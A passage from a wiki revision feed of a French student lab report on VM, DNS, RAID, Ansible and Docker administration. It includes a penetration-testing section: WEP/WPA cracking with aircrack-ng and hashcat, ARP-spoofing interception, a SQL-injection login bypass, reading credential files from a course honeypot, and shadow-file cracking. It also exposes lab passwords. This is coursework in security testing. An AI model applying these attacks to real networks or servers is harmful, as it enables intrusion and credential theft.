 lvcreate -L1G -n calicedelamort-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées dans notre fichier: /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid3,xvda7,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
il faut ensuite redémarrer notre VM:&lt;br /&gt;
&lt;br /&gt;
 xl destroy Calicedelamort&lt;br /&gt;
 xl create /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
Suite à cela nous installons mdadm qui est l'utilitaire standard sous Linux utilisé pour gérer les périphériques RAID logiciel:&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;br /&gt;
&lt;br /&gt;
On crée ensuite un inventaire : /etc/ansible/hosts&lt;br /&gt;
&lt;br /&gt;
  [Me_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  [All_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  truffe ansible_host=192.168.42.12&lt;br /&gt;
  girolle ansible_host=192.168.42.7&lt;br /&gt;
  amanite ansible_host=192.168.42.5&lt;br /&gt;
  tricholome ansible_host=192.168.42.4&lt;br /&gt;
  ophiocordyceps ansible_host=192.168.42.2&lt;br /&gt;
&lt;br /&gt;
Une fois ces étapes réalisées, nous créons un premier rôle ansible qui va venir modifier le fichier /etc/motd de notre VM sur chassiron, ainsi qu'installer les paquetages NTP et copier les fichiers de configuration NTP de notre VM sur capbreton.&lt;br /&gt;
&lt;br /&gt;
 - name: Modification de /etc/motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/modif_motd&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/motd&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
 - name: Installation de ntp&lt;br /&gt;
   apt:&lt;br /&gt;
    name: ntp&lt;br /&gt;
    state: latest&lt;br /&gt;
 - name: Copie de ntp conf&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/ntp.conf&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/ntp.conf&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
===Docker===&lt;br /&gt;
&lt;br /&gt;
Avant d'installer docker sur notre VM, nous devons y installer python3, python3-pip, ainsi qu'un module docker de python. Pour cela, on crée un rôle ansible qui va réaliser cette installation.&lt;br /&gt;
&lt;br /&gt;
  - name: python install&lt;br /&gt;
    apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
    vars:&lt;br /&gt;
     packages:&lt;br /&gt;
           - python3&lt;br /&gt;
           - python3-pip&lt;br /&gt;
  - name: docker pip install&lt;br /&gt;
    pip:&lt;br /&gt;
      name:&lt;br /&gt;
           - docker&lt;br /&gt;
&lt;br /&gt;
On peut maintenant installer Docker sur notre VM. Pour cela, on a récupéré un rôle ansible 'geerlingguy.docker'&lt;br /&gt;
&lt;br /&gt;
Puis, on crée le playbook.yml suivant pour l'installation :&lt;br /&gt;
&lt;br /&gt;
  - hosts: Me_Chassiron&lt;br /&gt;
    roles:&lt;br /&gt;
       - basic&lt;br /&gt;
       - geerlingguy.docker&lt;br /&gt;
    vars:&lt;br /&gt;
       docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
       docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55147</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55147"/>
				<updated>2020-12-21T18:05:06Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Docker */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;  &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
Nous avons dans un premier temps créé 3 partitions virtuelles:&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées dans notre fichier: /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid3,xvda7,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
il faut ensuite redémarrer notre VM:&lt;br /&gt;
&lt;br /&gt;
 xl destroy Calicedelamort&lt;br /&gt;
 xl create /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
Suite à cela nous installons mdadm qui est l'utilitaire standard sous Linux utilisé pour gérer les périphériques RAID logiciel:&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;br /&gt;
&lt;br /&gt;
On crée ensuite un inventaire : /etc/ansible/hosts&lt;br /&gt;
&lt;br /&gt;
  [Me_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  [All_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  truffe ansible_host=192.168.42.12&lt;br /&gt;
  girolle ansible_host=192.168.42.7&lt;br /&gt;
  amanite ansible_host=192.168.42.5&lt;br /&gt;
  tricholome ansible_host=192.168.42.4&lt;br /&gt;
  ophiocordyceps ansible_host=192.168.42.2&lt;br /&gt;
&lt;br /&gt;
Une fois ces étapes réalisées, nous créons un premier rôle ansible qui va venir modifier le fichier /etc/motd de notre VM sur chassiron, ainsi qu'installer les paquetages NTP et copier les fichiers de configuration NTP de notre VM sur capbreton.&lt;br /&gt;
&lt;br /&gt;
 - name: Modification de /etc/motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/modif_motd&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/motd&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
 - name: Installation de ntp&lt;br /&gt;
   apt:&lt;br /&gt;
    name: ntp&lt;br /&gt;
    state: latest&lt;br /&gt;
 - name: Copie de ntp conf&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/ntp.conf&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/ntp.conf&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
===Docker===&lt;br /&gt;
&lt;br /&gt;
Avant d'installer docker sur notre VM, nous devons y installer python3, python3-pip, ainsi qu'un module docker de python. Pour cela, on crée un rôle ansible qui va réaliser cette installation.&lt;br /&gt;
&lt;br /&gt;
  - name: python install&lt;br /&gt;
    apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
    vars:&lt;br /&gt;
     packages:&lt;br /&gt;
           - python3&lt;br /&gt;
